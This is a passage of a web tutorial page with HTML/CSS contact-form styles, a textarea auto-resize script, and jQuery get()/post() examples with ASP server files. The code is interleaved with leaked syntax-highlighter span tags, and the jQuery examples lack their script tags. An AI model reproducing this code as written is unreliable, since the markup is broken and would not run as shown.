<span class="br0">}</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"submit"</span><span class="br0">]</span><span class="re2">:hover</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"button"</span><span class="br0">]</span><span class="re2">:hover
</span><span class="br0">{</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#109177</span><span class="sy0">;</span>
<span class="br0">}</span>
</style<span class="sy0">>

Form Style 6 :

  • It’s a simple form with large input fields. It can be used as starting point for your next great form design.

HTML – CODE :

1
2
3
4
5
6
7
8
9
<<span class="kw2">div</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"form-style-6"</span>></span>
<span class="sc2"><<span class="kw2">h1</span>></span>Contact Us<span class="sc2"><<span class="sy0">/</span><span class="kw2">h1</span>></span>
<span class="sc2"><<span class="kw2">form</span>></span>
<span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"text"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field1"</span> placeholder<span class="sy0">=</span><span class="st0">"Your Name"</span> <span class="sy0">/</span>></span>
<span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"email"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field2"</span> placeholder<span class="sy0">=</span><span class="st0">"Email Address"</span> <span class="sy0">/</span>></span>
<span class="sc2"><<span class="kw2">textarea</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field3"</span> placeholder<span class="sy0">=</span><span class="st0">"Type your Message"</span>><<span class="sy0">/</span><span class="kw2">textarea</span>></span>
<span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"submit"</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"Send"</span> <span class="sy0">/</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">form</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">div</span>>

CSS – CODE :

example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<style type<span class="sy0">=</span><span class="st0">"text/css"</span><span class="sy0">></span>
.form-style-<span class="nu0">6</span><span class="br0">{</span>
<span class="kw1">font</span><span class="sy0">:</span> <span class="re3">95%</span> Arial<span class="sy0">,</span> Helvetica<span class="sy0">,</span> <span class="kw2">sans-serif</span><span class="sy0">;</span>
<span class="kw1">max-width</span><span class="sy0">:</span> <span class="re3">400px</span><span class="sy0">;</span>
<span class="kw1">margin</span><span class="sy0">:</span> <span class="re3">10px</span> <span class="kw2">auto</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">16px</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#F7F7F7</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-6</span> h1<span class="br0">{</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#43D1AF</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">20px</span> <span class="nu0">0</span><span class="sy0">;</span>
<span class="kw1">font-size</span><span class="sy0">:</span> <span class="re3">140%</span><span class="sy0">;</span>
<span class="kw1">font-weight</span><span class="sy0">:</span> <span class="nu0">300</span><span class="sy0">;</span>
<span class="kw1">text-align</span><span class="sy0">:</span> <span class="kw2">center</span><span class="sy0">;</span>
<span class="kw1">color</span><span class="sy0">:</span> <span class="re0">#fff</span><span class="sy0">;</span>
<span class="kw1">margin</span><span class="sy0">:</span> <span class="re3">-16px</span> <span class="re3">-16px</span> <span class="re3">16px</span> <span class="re3">-16px</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"text"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"date"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"datetime"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"email"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"number"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"search"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"time"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"url"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> textarea<span class="sy0">,</span>
<span class="re1">.form-style-6</span> select
<span class="br0">{</span>
-webkit-transition<span class="sy0">:</span> all 0.30s ease-in-out<span class="sy0">;</span>
-moz-transition<span class="sy0">:</span> all 0.30s ease-in-out<span class="sy0">;</span>
-ms-transition<span class="sy0">:</span> all 0.30s ease-in-out<span class="sy0">;</span>
-o-transition<span class="sy0">:</span> all 0.30s ease-in-out<span class="sy0">;</span>
<span class="kw1">outline</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
-webkit-box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
-moz-box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">100%</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#fff</span><span class="sy0">;</span>
<span class="kw1">margin-bottom</span><span class="sy0">:</span> <span class="re3">4%</span><span class="sy0">;</span>
<span class="kw1">border</span><span class="sy0">:</span> <span class="re3">1px</span> <span class="kw2">solid</span> <span class="re0">#ccc</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">3%</span><span class="sy0">;</span>
<span class="kw1">color</span><span class="sy0">:</span> <span class="re0">#555</span><span class="sy0">;</span>
<span class="kw1">font</span><span class="sy0">:</span> <span class="re3">95%</span> Arial<span class="sy0">,</span> Helvetica<span class="sy0">,</span> <span class="kw2">sans-serif</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"text"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"date"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"datetime"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"email"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"number"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"search"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"time"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"url"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> textarea<span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> select<span class="re2">:focus
</span><span class="br0">{</span>
box-shadow<span class="sy0">:</span> <span class="nu0">0</span> <span class="nu0">0</span> <span class="re3">5px</span> <span class="re0">#43D1AF</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">3%</span><span class="sy0">;</span>
<span class="kw1">border</span><span class="sy0">:</span> <span class="re3">1px</span> <span class="kw2">solid</span> <span class="re0">#43D1AF</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"submit"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"button"</span><span class="br0">]</span><span class="br0">{</span>
box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
-webkit-box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
-moz-box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">100%</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">3%</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#43D1AF</span><span class="sy0">;</span>
<span class="kw1">border-bottom</span><span class="sy0">:</span> <span class="re3">2px</span> <span class="kw2">solid</span> <span class="re0">#30C29E</span><span class="sy0">;</span>
<span class="kw1">border-top-style</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">border-right-style</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">border-left-style</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">color</span><span class="sy0">:</span> <span class="re0">#fff</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"submit"</span><span class="br0">]</span><span class="re2">:hover</span><span class="sy0">,</span>
<span class="re1">.form-style-6</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"button"</span><span class="br0">]</span><span class="re2">:hover</span><span class="br0">{</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#2EBC99</span><span class="sy0">;</span>
<span class="br0">}</span>
</style<span class="sy0">>

Form Style 7 :

  • It is also inspired by a form example. It looks simple, yet sophisticated with rounded border and small info-box below fields.

HTML – CODE :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<<span class="kw2">form</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"form-style-7"</span>></span>
<span class="sc2"><<span class="kw2">ul</span>></span>
<span class="sc2"><<span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"name"</span>></span>Name<span class="sc2"><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"text"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"name"</span> <span class="kw3">maxlength</span><span class="sy0">=</span><span class="st0">"100"</span>></span>
<span class="sc2"><<span class="kw2">span</span>></span>Enter your full name here<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"email"</span>></span>Email<span class="sc2"><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"email"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"email"</span> <span class="kw3">maxlength</span><span class="sy0">=</span><span class="st0">"100"</span>></span>
<span class="sc2"><<span class="kw2">span</span>></span>Enter a valid email address<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"url"</span>></span>Website<span class="sc2"><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"url"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"url"</span> <span class="kw3">maxlength</span><span class="sy0">=</span><span class="st0">"100"</span>></span>
<span class="sc2"><<span class="kw2">span</span>></span>Your website address (eg: http://www.google.com)<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"bio"</span>></span>About You<span class="sc2"><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">textarea</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"bio"</span> <span class="kw3">onkeyup</span><span class="sy0">=</span><span class="st0">"adjust_textarea(this)"</span>><<span class="sy0">/</span><span class="kw2">textarea</span>></span>
<span class="sc2"><<span class="kw2">span</span>></span>Say something about yourself<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"submit"</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"Send This"</span> ></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">li</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">ul</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">form</span>>

CSS – CODE :

example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<style type<span class="sy0">=</span><span class="st0">"text/css"</span><span class="sy0">></span>
.form-style-<span class="nu0">7</span><span class="br0">{</span>
<span class="kw1">max-width</span><span class="sy0">:</span><span class="re3">400px</span><span class="sy0">;</span>
<span class="kw1">margin</span><span class="sy0">:</span><span class="re3">50px</span> <span class="kw2">auto</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span><span class="re0">#fff</span><span class="sy0">;</span>
border-radius<span class="sy0">:</span><span class="re3">2px</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span><span class="re3">20px</span><span class="sy0">;</span>
<span class="kw1">font-family</span><span class="sy0">:</span> Georgia<span class="sy0">,</span> <span class="st0">"Times New Roman"</span><span class="sy0">,</span> Times<span class="sy0">,</span> <span class="kw2">serif</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-7</span> h1<span class="br0">{</span>
<span class="kw1">display</span><span class="sy0">:</span> <span class="kw2">block</span><span class="sy0">;</span>
<span class="kw1">text-align</span><span class="sy0">:</span> <span class="kw2">center</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="nu0">0</span><span class="sy0">;</span>
<span class="kw1">margin</span><span class="sy0">:</span> <span class="re3">0px</span> <span class="re3">0px</span> <span class="re3">20px</span> <span class="re3">0px</span><span class="sy0">;</span>
<span class="kw1">color</span><span class="sy0">:</span> <span class="re0">#5C5C5C</span><span class="sy0">;</span>
<span class="kw1">font-size</span><span class="sy0">:</span><span class="kw2">x-large</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-7</span> ul<span class="br0">{</span>
<span class="kw1">list-style</span><span class="sy0">:</span><span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span><span class="nu0">0</span><span class="sy0">;</span>
<span class="kw1">margin</span><span class="sy0">:</span><span class="nu0">0</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-7</span> li<span class="br0">{</span>
<span class="kw1">display</span><span class="sy0">:</span> <span class="kw2">block</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">9px</span><span class="sy0">;</span>
<span class="kw1">border</span><span class="sy0">:</span><span class="re3">1px</span> <span class="kw2">solid</span> <span class="re0">#DDDDDD</span><span class="sy0">;</span>
<span class="kw1">margin-bottom</span><span class="sy0">:</span> <span class="re3">30px</span><span class="sy0">;</span>
border-radius<span class="sy0">:</span> <span class="re3">3px</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-7</span> li<span class="re2">:last-child</span><span class="br0">{</span>
<span class="kw1">border</span><span class="sy0">:</span><span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">margin-bottom</span><span class="sy0">:</span> <span class="re3">0px</span><span class="sy0">;</span>
<span class="kw1">text-align</span><span class="sy0">:</span> <span class="kw2">center</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-7</span> li <span class="sy0">></span> label<span class="br0">{</span>
<span class="kw1">display</span><span class="sy0">:</span> <span class="kw2">block</span><span class="sy0">;</span>
<span class="kw1">float</span><span class="sy0">:</span> <span class="kw1">left</span><span class="sy0">;</span>
<span class="kw1">margin-top</span><span class="sy0">:</span> <span class="re3">-19px</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#FFFFFF</span><span class="sy0">;</span>
<span class="kw1">height</span><span class="sy0">:</span> <span class="re3">14px</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">2px</span> <span class="re3">5px</span> <span class="re3">2px</span> <span class="re3">5px</span><span class="sy0">;</span>
<span class="kw1">color</span><span class="sy0">:</span> <span class="re0">#B9B9B9</span><span class="sy0">;</span>
<span class="kw1">font-size</span><span class="sy0">:</span> <span class="re3">14px</span><span class="sy0">;</span>
<span class="kw1">overflow</span><span class="sy0">:</span> <span class="kw2">hidden</span><span class="sy0">;</span>
<span class="kw1">font-family</span><span class="sy0">:</span> Arial<span class="sy0">,</span> Helvetica<span class="sy0">,</span> <span class="kw2">sans-serif</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"text"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"date"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"datetime"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"email"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"number"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"search"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"time"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"url"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"password"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> textarea<span class="sy0">,</span>
<span class="re1">.form-style-7</span> select
<span class="br0">{</span>
box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
-webkit-box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
-moz-box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">100%</span><span class="sy0">;</span>
<span class="kw1">display</span><span class="sy0">:</span> <span class="kw2">block</span><span class="sy0">;</span>
<span class="kw1">outline</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">border</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">height</span><span class="sy0">:</span> <span class="re3">25px</span><span class="sy0">;</span>
<span class="kw1">line-height</span><span class="sy0">:</span> <span class="re3">25px</span><span class="sy0">;</span>
<span class="kw1">font-size</span><span class="sy0">:</span> <span class="re3">16px</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="nu0">0</span><span class="sy0">;</span>
<span class="kw1">font-family</span><span class="sy0">:</span> Georgia<span class="sy0">,</span> <span class="st0">"Times New Roman"</span><span class="sy0">,</span> Times<span class="sy0">,</span> <span class="kw2">serif</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"text"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"date"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"datetime"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"email"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"number"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"search"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"time"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"url"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"password"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> textarea<span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> select<span class="re2">:focus
</span><span class="br0">{</span>
<span class="br0">}</span>
<span class="re1">.form-style-7</span> li <span class="sy0">></span> span<span class="br0">{</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#F3F3F3</span><span class="sy0">;</span>
<span class="kw1">display</span><span class="sy0">:</span> <span class="kw2">block</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">3px</span><span class="sy0">;</span>
<span class="kw1">margin</span><span class="sy0">:</span> <span class="nu0">0</span> <span class="re3">-9px</span> <span class="re3">-9px</span> <span class="re3">-9px</span><span class="sy0">;</span>
<span class="kw1">text-align</span><span class="sy0">:</span> <span class="kw2">center</span><span class="sy0">;</span>
<span class="kw1">color</span><span class="sy0">:</span> <span class="re0">#C0C0C0</span><span class="sy0">;</span>
<span class="kw1">font-family</span><span class="sy0">:</span> Arial<span class="sy0">,</span> Helvetica<span class="sy0">,</span> <span class="kw2">sans-serif</span><span class="sy0">;</span>
<span class="kw1">font-size</span><span class="sy0">:</span> <span class="re3">11px</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-7</span> textarea<span class="br0">{</span>
resize<span class="sy0">:</span><span class="kw2">none</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"submit"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"button"</span><span class="br0">]</span><span class="br0">{</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#2471FF</span><span class="sy0">;</span>
<span class="kw1">border</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">10px</span> <span class="re3">20px</span> <span class="re3">10px</span> <span class="re3">20px</span><span class="sy0">;</span>
<span class="kw1">border-bottom</span><span class="sy0">:</span> <span class="re3">3px</span> <span class="kw2">solid</span> <span class="re0">#5994FF</span><span class="sy0">;</span>
border-radius<span class="sy0">:</span> <span class="re3">3px</span><span class="sy0">;</span>
<span class="kw1">color</span><span class="sy0">:</span> <span class="re0">#D2E2FF</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"submit"</span><span class="br0">]</span><span class="re2">:hover</span><span class="sy0">,</span>
<span class="re1">.form-style-7</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"button"</span><span class="br0">]</span><span class="re2">:hover</span><span class="br0">{</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#6B9FFF</span><span class="sy0">;</span>
<span class="kw1">color</span><span class="sy0">:</span><span class="re0">#fff</span><span class="sy0">;</span>
<span class="br0">}</span>
</style<span class="sy0">>

JAVASCRIPT – CODE :

1
2
3
4
5
6
7
<</span>script type<span class="sy0">=</span><span class="st0">"text/javascript"</span><span class="sy0">></span>
<span class="co1">//auto expand textarea</span>
<span class="kw2">function</span> adjust_textarea<span class="br0">(</span>h<span class="br0">)</span> <span class="br0">{</span>
h.<span class="me1">style</span>.<span class="me1">height</span> <span class="sy0">=</span> <span class="st0">"20px"</span><span class="sy0">;</span>
h.<span class="me1">style</span>.<span class="me1">height</span> <span class="sy0">=</span> <span class="br0">(</span>h.<span class="me1">scrollHeight</span><span class="br0">)</span><span class="sy0">+</span><span class="st0">"px"</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="sy0"></</span>script<span class="sy0">>

Post() Methods jQuery – AJAX get() and | Examples

http://www.hackersthirdeye.com

Post() Methods jQuery – AJAX get() and | Examples

  • The jQuery get() and post() methods are used to request data from the server with an HTTP GET or POST request.

HTTP Request: GET vs. POST :

  • Two commonly used methods for a request-response between a client and server are: GET and POST.
  • GET – Requests data from a specified resource
  • POST – Submits data to be processed to a specified resource
  • GET is basically used for just getting (retrieving) some data from the server. Note: The GET method may return cached data.
  • POST can also be used to get some data from the server. However, the POST method NEVER caches data, and is often used to send data along with the request.
  • To learn more about GET and POST, and the differences between the two methods, please read our HTTP Methods GET vs POSTchapter.

jQuery $.get() Method :

  • The $.get() method requests data from the server with an HTTP GET request.

Syntax:

1
$.get(<i>URL,callback</i>);
  • The required URL parameter specifies the URL you wish to request.
  • The optional callback parameter is the name of a function to be executed if the request succeeds.
  • The following example uses the $.get() method to retrieve data from a file on the server:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
$(document).ready(function(){
$("button").click(function(){
$.get("demo_test.asp", function(data, status){
alert("Data: " + data + "\nStatus: " + status);
});
});
});
</head>
<body>
<button>Send an HTTP GET request to a page and get the result back</button>
</body>
</html>
  • The first parameter of $.get() is the URL we wish to request (“demo_test.asp”).
  • The second parameter is a callback function. The first callback parameter holds the content of the page requested, and the second callback parameter holds the status of the request.
  • Tip: Here is how the ASP file looks like (“demo_test.asp”):
1
2
3
<%
response.write("This is some text from an external ASP file.")
%>

jQuery $.post() Method :

  • The $.post() method requests data from the server using an HTTP POST request.

Syntax:

$.post(<i>URL,data,callback</i>);
  • The required URL parameter specifies the URL you wish to request.
  • The optional data parameter specifies some data to send along with the request.
  • The optional callback parameter is the name of a function to be executed if the request succeeds.
  • The following example uses the $.post() method to send some data along with the request:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html>
<head>
$(document).ready(function(){
$("button").click(function(){
$.post("demo_test_post.asp",
{
name: "Donald Duck",
city: "Duckburg"
},
function(data,status){
alert("Data: " + data + "\nStatus: " + status);
});
});
});
</head>
<body>
<button>Send an HTTP POST request to a page and get the result back</button>
</body>
</html>
  • The first parameter of $.post() is the URL we wish to request (“demo_test_post.asp”).
  • Then we pass in some data to send along with the request (name and city).
  • The ASP script in “demo_test_post.asp” reads the parameters, processes them, and returns a result.
  • The third parameter is a callback function. The first callback parameter holds the content of the page requested, and the second callback parameter holds the status of the request.
  • Tip: Here is how the ASP file looks like (“demo_test_post.asp”):
1
2
3
4
5
6
7
<%
dim fname,city
fname=Request.Form("name")
city=Request.Form("city")
Response.Write("Dear " & fname & ". ")
